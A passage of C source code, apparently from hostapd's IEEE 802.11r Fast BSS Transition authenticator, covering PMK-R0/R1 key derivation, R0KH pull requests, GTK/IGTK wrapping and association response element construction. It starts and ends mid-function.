*wpa_auth->conf.r1kh_list; else r1kh = NULL; while (r1kh) { r1kh_next = r1kh->next; if (eloop_cancel_timeout(wpa_ft_rrb_del_r1kh, wpa_auth, r1kh) > 0) { if (r1kh_prev) r1kh_prev->next = r1kh_next; else *wpa_auth->conf.r1kh_list = r1kh_next; os_free(r1kh); } else { r1kh_prev = r1kh; } r1kh = r1kh_next; } } void wpa_ft_deinit(struct wpa_authenticator *wpa_auth) { wpa_ft_deinit_seq(wpa_auth); wpa_ft_deinit_rkh_tmp(wpa_auth); } static void wpa_ft_block_r0kh(struct wpa_authenticator *wpa_auth, const u8 *f_r0kh_id, size_t f_r0kh_id_len) { struct ft_remote_r0kh *r0kh, *r0kh_wildcard; if (!wpa_auth->conf.rkh_neg_timeout) return; wpa_ft_rrb_lookup_r0kh(wpa_auth, f_r0kh_id, f_r0kh_id_len, &r0kh, &r0kh_wildcard); if (!r0kh_wildcard) { /* r0kh removed after neg_timeout and might need re-adding */ return; } wpa_hexdump(MSG_DEBUG, "FT: Blacklist R0KH-ID", f_r0kh_id, f_r0kh_id_len); if (r0kh) { wpa_ft_rrb_r0kh_timeout(wpa_auth, r0kh, wpa_auth->conf.rkh_neg_timeout); os_memset(r0kh->addr, 0, ETH_ALEN); } else wpa_ft_rrb_add_r0kh(wpa_auth, r0kh_wildcard, NULL, f_r0kh_id, f_r0kh_id_len, wpa_auth->conf.rkh_neg_timeout); } static void wpa_ft_expire_pull(void *eloop_ctx, void *timeout_ctx) { struct wpa_state_machine *sm = eloop_ctx; wpa_printf(MSG_DEBUG, "FT: Timeout pending pull request for " MACSTR, MAC2STR(sm->addr)); if (sm->ft_pending_pull_left_retries <= 0) wpa_ft_block_r0kh(sm->wpa_auth, sm->r0kh_id, sm->r0kh_id_len); /* cancel multiple timeouts */ eloop_cancel_timeout(wpa_ft_expire_pull, sm, NULL); ft_finish_pull(sm); } static int wpa_ft_pull_pmk_r1(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len, const u8 *pmk_r0_name) { struct ft_remote_r0kh *r0kh, *r0kh_wildcard; u8 *packet = NULL; const u8 *key, *f_r1kh_id = sm->wpa_auth->conf.r1_key_holder; size_t packet_len, key_len; struct ft_rrb_seq f_seq; int tsecs, tusecs, first; struct wpabuf *ft_pending_req_ies; int r0kh_timeout; struct tlv_list req_enc[] = { { .type = FT_RRB_PMK_R0_NAME, .len = WPA_PMK_NAME_LEN, .data = pmk_r0_name }, { .type = FT_RRB_S1KH_ID, .len = ETH_ALEN, .data = sm->addr }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; struct tlv_list req_auth[] = { { .type = FT_RRB_NONCE, .len = FT_RRB_NONCE_LEN, .data = sm->ft_pending_pull_nonce }, { .type = FT_RRB_SEQ, .len = sizeof(f_seq), .data = (u8 *) &f_seq }, { .type = FT_RRB_R0KH_ID, .len = sm->r0kh_id_len, .data = sm->r0kh_id }, { .type = FT_RRB_R1KH_ID, .len = FT_R1KH_ID_LEN, .data = f_r1kh_id }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; if (sm->ft_pending_pull_left_retries <= 0) return -1; first = sm->ft_pending_pull_left_retries == sm->wpa_auth->conf.rkh_pull_retries; sm->ft_pending_pull_left_retries--; wpa_ft_rrb_lookup_r0kh(sm->wpa_auth, sm->r0kh_id, sm->r0kh_id_len, &r0kh, &r0kh_wildcard); /* Keep r0kh sufficiently long in the list for seq num check */ r0kh_timeout = sm->wpa_auth->conf.rkh_pull_timeout / 1000 + 1 + ftRRBseqTimeout; if (r0kh) { wpa_ft_rrb_r0kh_replenish(sm->wpa_auth, r0kh, r0kh_timeout); } else if (r0kh_wildcard) { wpa_printf(MSG_DEBUG, "FT: Using wildcard R0KH-ID"); /* r0kh->addr: updated by SEQ_RESP and wpa_ft_expire_pull */ r0kh = wpa_ft_rrb_add_r0kh(sm->wpa_auth, r0kh_wildcard, r0kh_wildcard->addr, sm->r0kh_id, sm->r0kh_id_len, r0kh_timeout); } if (r0kh == NULL) { wpa_hexdump(MSG_DEBUG, "FT: Did not find R0KH-ID", sm->r0kh_id, sm->r0kh_id_len); return -1; } if (is_zero_ether_addr(r0kh->addr)) { wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID is blacklisted", sm->r0kh_id, sm->r0kh_id_len); return -1; } if (os_memcmp(r0kh->addr, sm->wpa_auth->addr, ETH_ALEN) == 0) { wpa_printf(MSG_DEBUG, "FT: R0KH-ID points to self - no matching key available"); return -1; } key = r0kh->key; key_len = sizeof(r0kh->key); wpa_printf(MSG_DEBUG, "FT: Send PMK-R1 pull request to remote R0KH " "address " MACSTR, MAC2STR(r0kh->addr)); if (r0kh->seq->rx.num_last == 0) { /* A sequence request will be sent out anyway when pull * response is received. Send it out now to avoid one RTT. */ wpa_ft_rrb_seq_req(sm->wpa_auth, r0kh->seq, r0kh->addr, r0kh->id, r0kh->id_len, f_r1kh_id, key, key_len, NULL, 0, NULL, 0, NULL); } if (first && random_get_bytes(sm->ft_pending_pull_nonce, FT_RRB_NONCE_LEN) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to get random data for " "nonce"); return -1; } if (wpa_ft_new_seq(r0kh->seq, &f_seq) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to get seq num"); return -1; } if (wpa_ft_rrb_build(key, key_len, req_enc, NULL, req_auth, NULL, sm->wpa_auth->addr, FT_PACKET_R0KH_R1KH_PULL, &packet, &packet_len) < 0) return -1; ft_pending_req_ies = wpabuf_alloc_copy(ies, ies_len); wpabuf_free(sm->ft_pending_req_ies); sm->ft_pending_req_ies = ft_pending_req_ies; if (!sm->ft_pending_req_ies) { os_free(packet); return -1; } tsecs = sm->wpa_auth->conf.rkh_pull_timeout / 1000; tusecs = (sm->wpa_auth->conf.rkh_pull_timeout % 1000) * 1000; eloop_register_timeout(tsecs, tusecs, wpa_ft_expire_pull, sm, NULL); wpa_ft_rrb_oui_send(sm->wpa_auth, r0kh->addr, FT_PACKET_R0KH_R1KH_PULL, packet, packet_len); os_free(packet); return 0; } int wpa_ft_store_pmk_fils(struct wpa_state_machine *sm, const u8 *pmk_r0, const u8 *pmk_r0_name) { int expires_in = sm->wpa_auth->conf.r0_key_lifetime; struct vlan_description vlan; const u8 *identity, *radius_cui; size_t identity_len, radius_cui_len; int session_timeout; size_t pmk_r0_len = wpa_key_mgmt_sha384(sm->wpa_key_mgmt) ? SHA384_MAC_LEN : PMK_LEN; if (wpa_ft_get_vlan(sm->wpa_auth, sm->addr, &vlan) < 0) { wpa_printf(MSG_DEBUG, "FT: vlan not available for STA " MACSTR, MAC2STR(sm->addr)); return -1; } identity_len = wpa_ft_get_identity(sm->wpa_auth, sm->addr, &identity); radius_cui_len = wpa_ft_get_radius_cui(sm->wpa_auth, sm->addr, &radius_cui); session_timeout = wpa_ft_get_session_timeout(sm->wpa_auth, sm->addr); return wpa_ft_store_pmk_r0(sm->wpa_auth, sm->addr, pmk_r0, pmk_r0_len, pmk_r0_name, sm->pairwise, &vlan, expires_in, session_timeout, identity, identity_len, radius_cui, radius_cui_len); } int wpa_auth_derive_ptk_ft(struct wpa_state_machine *sm, const u8 *pmk, struct wpa_ptk *ptk) { u8 pmk_r0[PMK_LEN_MAX], pmk_r0_name[WPA_PMK_NAME_LEN]; size_t pmk_r0_len = wpa_key_mgmt_sha384(sm->wpa_key_mgmt) ? SHA384_MAC_LEN : PMK_LEN; size_t pmk_r1_len = pmk_r0_len; u8 pmk_r1[PMK_LEN_MAX]; u8 ptk_name[WPA_PMK_NAME_LEN]; const u8 *mdid = sm->wpa_auth->conf.mobility_domain; const u8 *r0kh = sm->wpa_auth->conf.r0_key_holder; size_t r0kh_len = sm->wpa_auth->conf.r0_key_holder_len; const u8 *r1kh = sm->wpa_auth->conf.r1_key_holder; const u8 *ssid = sm->wpa_auth->conf.ssid; size_t ssid_len = sm->wpa_auth->conf.ssid_len; int psk_local = sm->wpa_auth->conf.ft_psk_generate_local; int expires_in = sm->wpa_auth->conf.r0_key_lifetime; struct vlan_description vlan; const u8 *identity, *radius_cui; size_t identity_len, radius_cui_len; int session_timeout; if (sm->xxkey_len == 0) { wpa_printf(MSG_DEBUG, "FT: XXKey not available for key " "derivation"); return -1; } if (wpa_ft_get_vlan(sm->wpa_auth, sm->addr, &vlan) < 0) { wpa_printf(MSG_DEBUG, "FT: vlan not available for STA " MACSTR, MAC2STR(sm->addr)); return -1; } identity_len = wpa_ft_get_identity(sm->wpa_auth, sm->addr, &identity); radius_cui_len = wpa_ft_get_radius_cui(sm->wpa_auth, sm->addr, &radius_cui); session_timeout = wpa_ft_get_session_timeout(sm->wpa_auth, sm->addr); if (wpa_derive_pmk_r0(sm->xxkey, sm->xxkey_len, ssid, ssid_len, mdid, r0kh, r0kh_len, sm->addr, pmk_r0, pmk_r0_name, wpa_key_mgmt_sha384(sm->wpa_key_mgmt)) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R0", pmk_r0, pmk_r0_len); wpa_hexdump(MSG_DEBUG, "FT: PMKR0Name", pmk_r0_name, WPA_PMK_NAME_LEN); if (!psk_local || !wpa_key_mgmt_ft_psk(sm->wpa_key_mgmt)) wpa_ft_store_pmk_r0(sm->wpa_auth, sm->addr, pmk_r0, pmk_r0_len, pmk_r0_name, sm->pairwise, &vlan, expires_in, session_timeout, identity, identity_len, radius_cui, radius_cui_len); if (wpa_derive_pmk_r1(pmk_r0, pmk_r0_len, pmk_r0_name, r1kh, sm->addr, pmk_r1, sm->pmk_r1_name) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", pmk_r1, pmk_r1_len); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", sm->pmk_r1_name, WPA_PMK_NAME_LEN); if (!psk_local || !wpa_key_mgmt_ft_psk(sm->wpa_key_mgmt)) wpa_ft_store_pmk_r1(sm->wpa_auth, sm->addr, pmk_r1, pmk_r1_len, sm->pmk_r1_name, sm->pairwise, &vlan, expires_in, session_timeout, identity, identity_len, radius_cui, radius_cui_len); return wpa_pmk_r1_to_ptk(pmk_r1, pmk_r1_len, sm->SNonce, sm->ANonce, sm->addr, sm->wpa_auth->addr, sm->pmk_r1_name, ptk, ptk_name, sm->wpa_key_mgmt, sm->pairwise); } static inline int wpa_auth_get_seqnum(struct wpa_authenticator *wpa_auth, const u8 *addr, int idx, u8 *seq) { if (wpa_auth->cb->get_seqnum == NULL) return -1; return wpa_auth->cb->get_seqnum(wpa_auth->cb_ctx, addr, idx, seq); } static u8 * wpa_ft_gtk_subelem(struct wpa_state_machine *sm, size_t *len) { u8 *subelem; struct wpa_group *gsm = sm->group; size_t subelem_len, pad_len; const u8 *key; size_t key_len; u8 keybuf[32]; const u8 *kek; size_t kek_len; if (wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { kek = sm->PTK.kek2; kek_len = sm->PTK.kek2_len; } else { kek = sm->PTK.kek; kek_len = sm->PTK.kek_len; } key_len = gsm->GTK_len; if (key_len > sizeof(keybuf)) return NULL; /* * Pad key for AES Key Wrap if it is not multiple of 8 bytes or is less * than 16 bytes. */ pad_len = key_len % 8; if (pad_len) pad_len = 8 - pad_len; if (key_len + pad_len < 16) pad_len += 8; if (pad_len && key_len < sizeof(keybuf)) { os_memcpy(keybuf, gsm->GTK[gsm->GN - 1], key_len); os_memset(keybuf + key_len, 0, pad_len); keybuf[key_len] = 0xdd; key_len += pad_len; key = keybuf; } else key = gsm->GTK[gsm->GN - 1]; /* * Sub-elem ID[1] | Length[1] | Key Info[2] | Key Length[1] | RSC[8] | * Key[5..32]. */ subelem_len = 13 + key_len + 8; subelem = os_zalloc(subelem_len); if (subelem == NULL) return NULL; subelem[0] = FTIE_SUBELEM_GTK; subelem[1] = 11 + key_len + 8; /* Key ID in B0-B1 of Key Info */ WPA_PUT_LE16(&subelem[2], gsm->GN & 0x03); subelem[4] = gsm->GTK_len; wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, subelem + 5); if (aes_wrap(kek, kek_len, key_len / 8, key, subelem + 13)) { wpa_printf(MSG_DEBUG, "FT: GTK subelem encryption failed: kek_len=%d", (int) kek_len); os_free(subelem); return NULL; } *len = subelem_len; return subelem; } #ifdef CONFIG_IEEE80211W static u8 * wpa_ft_igtk_subelem(struct wpa_state_machine *sm, size_t *len) { u8 *subelem, *pos; struct wpa_group *gsm = sm->group; size_t subelem_len; const u8 *kek; size_t kek_len; size_t igtk_len; if (wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { kek = sm->PTK.kek2; kek_len = sm->PTK.kek2_len; } else { kek = sm->PTK.kek; kek_len = sm->PTK.kek_len; } igtk_len = wpa_cipher_key_len(sm->wpa_auth->conf.group_mgmt_cipher); /* Sub-elem ID[1] | Length[1] | KeyID[2] | IPN[6] | Key Length[1] | * Key[16+8] */ subelem_len = 1 + 1 + 2 + 6 + 1 + igtk_len + 8; subelem = os_zalloc(subelem_len); if (subelem == NULL) return NULL; pos = subelem; *pos++ = FTIE_SUBELEM_IGTK; *pos++ = subelem_len - 2; WPA_PUT_LE16(pos, gsm->GN_igtk); pos += 2; wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, pos); pos += 6; *pos++ = igtk_len; if (aes_wrap(kek, kek_len, igtk_len / 8, gsm->IGTK[gsm->GN_igtk - 4], pos)) { wpa_printf(MSG_DEBUG, "FT: IGTK subelem encryption failed: kek_len=%d", (int) kek_len); os_free(subelem); return NULL; } *len = subelem_len; return subelem; } #endif /* CONFIG_IEEE80211W */ static u8 * wpa_ft_process_rdie(struct wpa_state_machine *sm, u8 *pos, u8 *end, u8 id, u8 descr_count, const u8 *ies, size_t ies_len) { struct ieee802_11_elems parse; struct rsn_rdie *rdie; wpa_printf(MSG_DEBUG, "FT: Resource Request: id=%d descr_count=%d", id, descr_count); wpa_hexdump(MSG_MSGDUMP, "FT: Resource descriptor IE(s)", ies, ies_len); if (end - pos < (int) sizeof(*rdie)) { wpa_printf(MSG_ERROR, "FT: Not enough room for response RDIE"); return pos; } *pos++ = WLAN_EID_RIC_DATA; *pos++ = sizeof(*rdie); rdie = (struct rsn_rdie *) pos; rdie->id = id; rdie->descr_count = 0; rdie->status_code = host_to_le16(WLAN_STATUS_SUCCESS); pos += sizeof(*rdie); if (ieee802_11_parse_elems((u8 *) ies, ies_len, &parse, 1) == ParseFailed) { wpa_printf(MSG_DEBUG, "FT: Failed to parse request IEs"); rdie->status_code = host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); return pos; } if (parse.wmm_tspec) { struct wmm_tspec_element *tspec; if (parse.wmm_tspec_len + 2 < (int) sizeof(*tspec)) { wpa_printf(MSG_DEBUG, "FT: Too short WMM TSPEC IE " "(%d)", (int) parse.wmm_tspec_len); rdie->status_code = host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); return pos; } if (end - pos < (int) sizeof(*tspec)) { wpa_printf(MSG_ERROR, "FT: Not enough room for " "response TSPEC"); rdie->status_code = host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); return pos; } tspec = (struct wmm_tspec_element *) pos; os_memcpy(tspec, parse.wmm_tspec - 2, sizeof(*tspec)); } #ifdef NEED_AP_MLME if (parse.wmm_tspec && sm->wpa_auth->conf.ap_mlme) { int res; res = wmm_process_tspec((struct wmm_tspec_element *) pos); wpa_printf(MSG_DEBUG, "FT: ADDTS processing result: %d", res); if (res == WMM_ADDTS_STATUS_INVALID_PARAMETERS) rdie->status_code = host_to_le16(WLAN_STATUS_INVALID_PARAMETERS); else if (res == WMM_ADDTS_STATUS_REFUSED) rdie->status_code = host_to_le16(WLAN_STATUS_REQUEST_DECLINED); else { /* TSPEC accepted; include updated TSPEC in response */ rdie->descr_count = 1; pos += sizeof(struct wmm_tspec_element); } return pos; } #endif /* NEED_AP_MLME */ if (parse.wmm_tspec && !sm->wpa_auth->conf.ap_mlme) { int res; res = wpa_ft_add_tspec(sm->wpa_auth, sm->addr, pos, sizeof(struct wmm_tspec_element)); if (res >= 0) { if (res) rdie->status_code = host_to_le16(res); else { /* TSPEC accepted; include updated TSPEC in * response */ rdie->descr_count = 1; pos += sizeof(struct wmm_tspec_element); } return pos; } } wpa_printf(MSG_DEBUG, "FT: No supported resource requested"); rdie->status_code = host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); return pos; } static u8 * wpa_ft_process_ric(struct wpa_state_machine *sm, u8 *pos, u8 *end, const u8 *ric, size_t ric_len) { const u8 *rpos, *start; const struct rsn_rdie *rdie; wpa_hexdump(MSG_MSGDUMP, "FT: RIC Request", ric, ric_len); rpos = ric; while (rpos + sizeof(*rdie) < ric + ric_len) { if (rpos[0] != WLAN_EID_RIC_DATA || rpos[1] < sizeof(*rdie) || rpos + 2 + rpos[1] > ric + ric_len) break; rdie = (const struct rsn_rdie *) (rpos + 2); rpos += 2 + rpos[1]; start = rpos; while (rpos + 2 <= ric + ric_len && rpos + 2 + rpos[1] <= ric + ric_len) { if (rpos[0] == WLAN_EID_RIC_DATA) break; rpos += 2 + rpos[1]; } pos = wpa_ft_process_rdie(sm, pos, end, rdie->id, rdie->descr_count, start, rpos - start); } return pos; } u8 * wpa_sm_write_assoc_resp_ies(struct wpa_state_machine *sm, u8 *pos, size_t max_len, int auth_alg, const u8 *req_ies, size_t req_ies_len) { u8 *end, *mdie, *ftie, *rsnie = NULL, *r0kh_id, *subelem = NULL; u8 *fte_mic, *elem_count; size_t mdie_len, ftie_len, rsnie_len = 0, r0kh_id_len, subelem_len = 0; int res; struct wpa_auth_config *conf; struct wpa_ft_ies parse; u8 *ric_start; u8 *anonce, *snonce; const u8 *kck; size_t kck_len; int use_sha384; if (sm == NULL) return pos; use_sha384 = wpa_key_mgmt_sha384(sm->wpa_key_mgmt); conf = &sm->wpa_auth->conf; if (!wpa_key_mgmt_ft(sm->wpa_key_mgmt)) return pos; end = pos + max_len; if (auth_alg == WLAN_AUTH_FT) { /* * RSN (only present if this is a Reassociation Response and * part of a fast BSS transition) */ res = wpa_write_rsn_ie(conf, pos, end - pos, sm->pmk_r1_name); if (res < 0) return NULL; rsnie = pos; rsnie_len = res; pos += res; } /* Mobility Domain Information */ res = wpa_write_mdie(conf, pos, end - pos); if (res < 0) return NULL; mdie = pos; mdie_len = res; pos += res; /* Fast BSS Transition Information */ if (auth_alg == WLAN_AUTH_FT) { subelem = wpa_ft_gtk_subelem(sm, &subelem_len); if (!subelem) { wpa_printf(MSG_DEBUG, "FT: Failed to add GTK subelement"); return NULL; } r0kh_id = sm->r0kh_id; r0kh_id_len = sm->r0kh_id_len; anonce = sm->ANonce; snonce = sm->SNonce; #ifdef CONFIG_IEEE80211W if (sm->mgmt_frame_prot) { u8 *igtk; size_t igtk_len; u8 *nbuf; igtk = wpa_ft_igtk_subelem(sm, &igtk_len); if (igtk == NULL) { wpa_printf(MSG_DEBUG, "FT: Failed to add IGTK subelement"); os_free(subelem); return NULL; } nbuf = os_realloc(subelem, subelem_len + igtk_len); if (nbuf == NULL) { os_free(subelem); os_free(igtk); return NULL; } subelem = nbuf; os_memcpy(subelem + subelem_len, igtk, igtk_len); subelem_len += igtk_len; os_free(igtk); } #endif /* CONFIG_IEEE80211W */ } else { r0kh_id = conf->r0_key_holder; r0kh_id_len = conf->r0_key_holder_len; anonce = NULL; snonce = NULL; } res = wpa_write_ftie(conf, use_sha384, r0kh_id, r0kh_id_len, anonce, snonce, pos, end - pos, subelem, subelem_len); os_free(subelem); if (res < 0) return NULL; ftie = pos; ftie_len = res; pos += res; if (use_sha384) { struct rsn_ftie_sha384 *_ftie = (struct rsn_ftie_sha384 *) (ftie + 2); fte_mic = _ftie->mic; elem_count = &_ftie->mic_control[1]; } else { struct rsn_ftie *_ftie = (struct rsn_ftie *) (ftie + 2); fte_mic = _ftie->mic; elem_count = &_ftie->mic_control[1]; } if (auth_alg == WLAN_AUTH_FT) *elem_count = 3; /* Information element count */ ric_start = pos; if (wpa_ft_parse_ies(req_ies, req_ies_len, &parse, use_sha384) == 0 && parse.ric) { pos = wpa_ft_process_ric(sm, pos, end, parse.ric, parse.ric_len); if (auth_alg == WLAN_AUTH_FT) *elem_count += ieee802_11_ie_count(ric_start, pos - ric_start); } if (ric_start == pos) ric_start = NULL; if (wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { kck = sm->PTK.kck2; kck_len = sm->PTK.kck2_len; } else { kck = sm->PTK.kck; kck_len = sm->PTK.kck_len; } if (auth_alg == WLAN_AUTH_FT && wpa_ft_mic(kck, kck_len, sm->addr, sm->wpa_auth->addr, 6, mdie, mdie_len, ftie, ftie_len, rsnie, rsnie_len, ric_start, ric_start ? pos - ric_start : 0, fte_mic) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to calculate MIC"); return NULL; } os_free(sm->assoc_resp_ftie); sm->assoc_resp_ftie = os_malloc(ftie_len); if (!sm->assoc_resp_ftie) return NULL; os_memcpy(sm->assoc_resp_ftie, ftie, ftie_len); return pos; } static inline int wpa_auth_set_key(struct wpa_authenticator *wpa_auth, int vlan_id, enum wpa_alg alg, const u8 *addr, int idx, u8 *key, size_t key_len) { if (wpa_auth->cb->set_key == NULL) return -1; return wpa_auth->cb->set_key(wpa_auth->cb_ctx, vlan_id, alg, addr, idx, key, key_len); } void wpa_ft_install_ptk(struct wpa_state_machine *sm) { enum wpa_alg alg; int klen; /* MLME-SETKEYS.request(PTK) */ alg = wpa_cipher_to_alg(sm->pairwise); klen = wpa_cipher_key_len(sm->pairwise); if (!wpa_cipher_valid_pairwise(sm->pairwise)) { wpa_printf(MSG_DEBUG, "FT: Unknown pairwise alg 0x%x - skip " "PTK configuration", sm->pairwise); return; } if (sm->tk_already_set) { /* Must avoid TK reconfiguration to prevent clearing of TX/RX * PN in the driver */ wpa_printf(MSG_DEBUG, "FT: Do not re-install same PTK to the driver"); return; } /* FIX: add STA entry to kernel/driver here? The set_key will fail * most likely without this.. At the moment, STA entry is added only * after association has been completed. This function will be called * again after association to get the PTK configured, but that could be * optimized by adding the STA entry earlier. */ if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, sm->PTK.tk, klen)) return; /* FIX: MLME-SetProtection.Request(TA, Tx_Rx) */ sm->pairwise_set = TRUE; sm->tk_already_set = TRUE; } /* Derive PMK-R1 from PSK, check all available PSK */ static int wpa_ft_psk_pmk_r1(struct wpa_state_machine *sm, const u8 *req_pmk_r1_name, u8 *out_pmk_r1, int *out_pairwise, struct vlan_description *out_vlan, const u8 **out_identity, size_t *out_identity_len, const u8 **out_radius_cui, size_t *out_radius_cui_len, int *out_session_timeout) { const u8 *pmk = NULL; u8 pmk_r0[PMK_LEN], pmk_r0_name[WPA_PMK_NAME_LEN]; u8 pmk_r1[PMK_LEN], pmk_r1_name[WPA_PMK_NAME_LEN]; struct wpa_authenticator *wpa_auth = sm->wpa_auth; const u8 *mdid = wpa_auth->conf.mobility_domain; const u8 *r0kh = sm->r0kh_id; size_t r0kh_len = sm->r0kh_id_len; const u8 *r1kh = wpa_auth->conf.r1_key_holder; const u8 *ssid = wpa_auth->conf.ssid; size_t ssid_len = wpa_auth->conf.ssid_len; int pairwise; pairwise = sm->pairwise; for (;;) { pmk = wpa_ft_get_psk(wpa_auth, sm->addr, sm->p2p_dev_addr, pmk); if (pmk == NULL) break; if (wpa_derive_pmk_r0(pmk, PMK_LEN, ssid, ssid_len, mdid, r0kh, r0kh_len, sm->addr, pmk_r0, pmk_r0_name, 0) < 0 || wpa_derive_pmk_r1(pmk_r0, PMK_LEN, pmk_r0_name, r1kh, sm->addr, pmk_r1, pmk_r1_name) < 0 || os_memcmp_const(pmk_r1_name, req_pmk_r1_name, WPA_PMK_NAME_LEN) != 0) continue; /* We found a PSK that matches the requested pmk_r1_name */ wpa_printf(MSG_DEBUG, "FT: Found PSK to generate PMK-R1 locally"); os_memcpy(out_pmk_r1, pmk_r1, PMK_LEN); if (out_pairwise) *out_pairwise = pairwise; if (out_vlan && wpa_ft_get_vlan(sm->wpa_auth, sm->addr, out_vlan) < 0) { wpa_printf(MSG_DEBUG, "FT: vlan not available for STA " MACSTR, MAC2STR(sm->addr)); return -1; } if (out_identity && out_identity_len) { *out_identity_len = wpa_ft_get_identity( sm->wpa_auth, sm->addr, out_identity); } if (out_radius_cui && out_radius_cui_len) { *out_radius_cui_len = wpa_ft_get_radius_cui( sm->wpa_auth, sm->addr, out_radius_cui); } if (out_session_timeout) { *out_session_timeout = wpa_ft_get_session_timeout( sm->wpa_auth, sm->addr); } return 0; } wpa_printf(MSG_DEBUG, "FT: Did not find PSK to generate PMK-R1 locally"); return -1; } /* Detect the configuration the station asked for. * Required to detect FT-PSK and pairwise cipher. */ static int wpa_ft_set_key_mgmt(struct wpa_state_machine *sm, struct wpa_ft_ies *parse) { int key_mgmt, ciphers; if (sm->wpa_key_mgmt) return 0; key_mgmt = parse->key_mgmt & sm->wpa_auth->conf.wpa_key_mgmt; if (!key_mgmt) { wpa_printf(MSG_DEBUG, "FT: Invalid key mgmt (0x%x) from " MACSTR, parse->key_mgmt, MAC2STR(sm->addr)); return -1; } if (key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_IEEE8021X; #ifdef CONFIG_SHA384 else if (key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X_SHA384) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_IEEE8021X_SHA384; #endif /* CONFIG_SHA384 */ else if (key_mgmt & WPA_KEY_MGMT_FT_PSK) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_PSK; #ifdef CONFIG_FILS else if (key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA256) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_FILS_SHA256; else if (key_mgmt & WPA_KEY_MGMT_FT_FILS_SHA384) sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_FILS_SHA384; #endif /* CONFIG_FILS */ ciphers = parse->pairwise_cipher & sm->wpa_auth->conf.rsn_pairwise; if (!ciphers) { wpa_printf(MSG_DEBUG, "FT: Invalid pairwise cipher (0x%x) from " MACSTR, parse->pairwise_cipher, MAC2STR(sm->addr)); return -1; } sm->pairwise = wpa_pick_pairwise_cipher(ciphers, 0); return 0; } static int wpa_ft_local_derive_pmk_r1(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *req_pmk_r0_name, const u8 *req_pmk_r1_name, u8 *out_pmk_r1, int *out_pairwise, struct vlan_description *vlan, const u8 **identity, size_t *identity_len, const u8 **radius_cui, size_t *radius_cui_len, int *out_session_timeout) { struct wpa_auth_config *conf = &wpa_auth->conf; const struct wpa_ft_pmk_r0_sa *r0; u8 pmk_r1_name[WPA_PMK_NAME_LEN]; int expires_in = 0; int session_timeout = 0; struct os_reltime now; if (conf->r0_key_holder_len != r0kh_id_len || os_memcmp(conf->r0_key_holder, r0kh_id, conf->r0_key_holder_len) != 0) return -1; /* not our R0KH-ID */ wpa_printf(MSG_DEBUG, "FT: STA R0KH-ID matching local configuration"); if (wpa_ft_fetch_pmk_r0(sm->wpa_auth, sm->addr, req_pmk_r0_name, &r0) < 0) return -1; /* no matching PMKR0Name in local cache */ wpa_printf(MSG_DEBUG, "FT: Requested PMKR0Name found in local cache"); if (wpa_derive_pmk_r1(r0->pmk_r0, r0->pmk_r0_len, r0->pmk_r0_name, conf->r1_key_holder, sm->addr, out_pmk_r1, pmk_r1_name) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", out_pmk_r1, r0->pmk_r0_len); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", pmk_r1_name, WPA_PMK_NAME_LEN); os_get_reltime(&now); if (r0->expiration) expires_in = r0->expiration - now.sec; if (r0->session_timeout) session_timeout = r0->session_timeout - now.sec; wpa_ft_store_pmk_r1(wpa_auth, sm->addr, out_pmk_r1, r0->pmk_r0_len, pmk_r1_name, sm->pairwise, r0->vlan, expires_in, session_timeout, r0->identity, r0->identity_len, r0->radius_cui, r0->radius_cui_len); *out_pairwise = sm->pairwise; if (vlan) { if (r0->vlan) *vlan = *r0->vlan; else os_memset(vlan, 0, sizeof(*vlan)); } if (identity && identity_len) { *identity = r0->identity; *identity_len = r0->identity_len; } if (radius_cui && radius_cui_len) { *radius_cui = r0->radius_cui; *radius_cui_len = r0->radius_cui_len; } *out_session_timeout = session_timeout; return 0; } static int wpa_ft_process_auth_req(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len, u8 **resp_ies, size_t *resp_ies_len) { struct rsn_mdie *mdie; u8 pmk_r1[PMK_LEN_MAX], pmk_r1_name[WPA_PMK_NAME_LEN]; u8 ptk_name[WPA_PMK_NAME_LEN]; struct wpa_auth_config *conf; struct wpa_ft_ies parse; size_t buflen; int ret; u8 *pos, *end; int pairwise, session_timeout = 0; struct vlan_description vlan; const u8 *identity, *radius_cui; size_t identity_len = 0, radius_cui_len = 0; int use_sha384; size_t pmk_r1_len; *resp_ies = NULL; *resp_ies_len = 0; sm->pmk_r1_name_valid = 0; conf = &sm->wpa_auth->conf; wpa_hexdump(MSG_DEBUG, "FT: Received authentication frame IEs", ies, ies_len); if (wpa_ft_parse_ies(ies, ies_len, &parse, -1)) { wpa_printf(MSG_DEBUG, "FT: Failed to parse FT IEs"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } use_sha384 = wpa_key_mgmt_sha384(parse.key_mgmt); pmk_r1_len = use_sha384 ? SHA384_MAC_LEN : PMK_LEN; mdie = (struct rsn_mdie *) parse.mdie; if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || 